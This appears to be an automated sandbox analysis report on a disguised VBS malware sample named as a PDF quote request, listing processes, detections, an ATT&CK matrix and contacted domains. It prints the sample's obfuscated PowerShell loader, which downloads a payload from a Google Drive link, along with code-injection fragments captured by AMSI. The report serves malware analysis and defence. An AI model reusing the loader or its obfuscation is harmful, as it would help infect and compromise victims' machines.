Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esu	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: Yara match	File source: 0000000E.00000002.1697979779.000000000AC0F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1697743441.0000000008EE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1680502700.0000000005F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Lyskopis)$GlOBaL:TetrAPHOSphAtE = [system.TEXt.eNCODiNG]::ascII.GeTStrinG($GordIoId)$GlObAL:PauLiNIaN52=$tETraPhosPHATE.SUBSTRiNg($poLLsteR,$bARYTOCeLestITE)<#Opgavesttet Maudlinise
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Deamidization $Convictor145 $Ytringsfriheder), (overladt @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Fugtpletternes = [AppDomain]::CurrentDomain.GetAss
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Refederalizing)), $Gynecomazia105).DefineDynamicModule($Complaisantness, $false).DefineType($Slibrig139, $Skraabjlkes, [System.Multica
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Lyskopis)$GlOBaL:TetrAPHOSphAtE = [system.TEXt.eNCODiNG]::ascII.GeTStrinG($GordIoId)$GlObAL:PauLiNIaN52=$tETraPhosPHATE.SUBSTRiNg($poLLsteR,$bARYTOCeLestITE)<#Opgavesttet Maudlinise

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFCB06600BD pushad ; iretd	4_2_00007FFCB06600C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFCB0665205 push eax; ret	4_2_00007FFCB0665251
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFCB07379FE push ds; ret	4_2_00007FFCB07379FF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_07C1CF5C push eax; iretd	14_2_07C1CF5D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6801	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3001	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6950	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2519	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6016	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6356	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior

Source: wscript.exe, 00000000.00000002.1122485060.000001DF4E597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1113145222.000001DF50490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112680086.000001DF50490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1123009368.000001DF50428000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1120557473.000001DF50490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113781279.000001DF50490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1120994601.000001DF50427000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1120262231.000001DF5041D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113609163.000001DF50428000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1123204458.000001DF50490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1113256887.000001DF50401000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2385113202.000001B67405A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.1379267197.00000225FA1FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 00000002.00000002.1118260242.000001DE98249000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr
Source: msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXYg%SystemRoot%\system32\mswsock.dll%

Source: Yara match	File source: amsi64_4504.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7356, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Windows Management Instrumentation	321 Scripting	311 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	23 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Source	Detection	Scanner	Label	Link
ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs	16%	Virustotal		Browse
ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs	16%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
drive.google.com	142.250.186.174	true	false	high
drive.usercontent.google.com	142.250.186.161	true	false	high
Host_6637.6637.6637.657e	unknown	unknown	false	high

Name	Source	Malicious	Reputation
https://aka.ms/pscore6lBYq	powershell.exe, 0000000E.00000002.1655297069.0000000004EF1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.goog	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 0000000E.00000002.1689306097.0000000007B44000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/uc?ex	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/u	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.ver)	svchost.exe, 00000006.00000002.2385015226.000001B674000000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.microsoft.	powershell.exe, 0000000E.00000002.1689306097.0000000007BAC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.go	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/D	msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.goo	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.g	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/uc	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod-C:	edb.log.6.dr	false	high
https://drive.google.com/	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.googl	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/uc?e	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000006.00000003.1202986744.000001B673D90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com	powershell.exe, 00000004.00000002.1344746282.0000022580227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com	powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/y	msiexec.exe, 00000010.00000003.1824595082.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000002.1859072664.0000000000680000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.c	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1344746282.0000022580001000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	powershell.exe, 00000004.00000002.1344746282.000002258049F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.000002258049B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1344746282.0000022580483000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000679000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765185620.0000000000687000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000010.00000003.1765254963.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/uc?	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1344746282.0000022580001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1655297069.0000000004EF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.co	powershell.exe, 00000004.00000002.1344746282.000002258172D000.00000004.00000800.00020000.00000000.sdmp	false	high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.186.161	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
142.250.186.174	drive.google.com	United States		15169	GOOGLEUS	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41yd45v2.jbl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_joq3f1ey.oiz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ptjakpqd.nr2.psm1

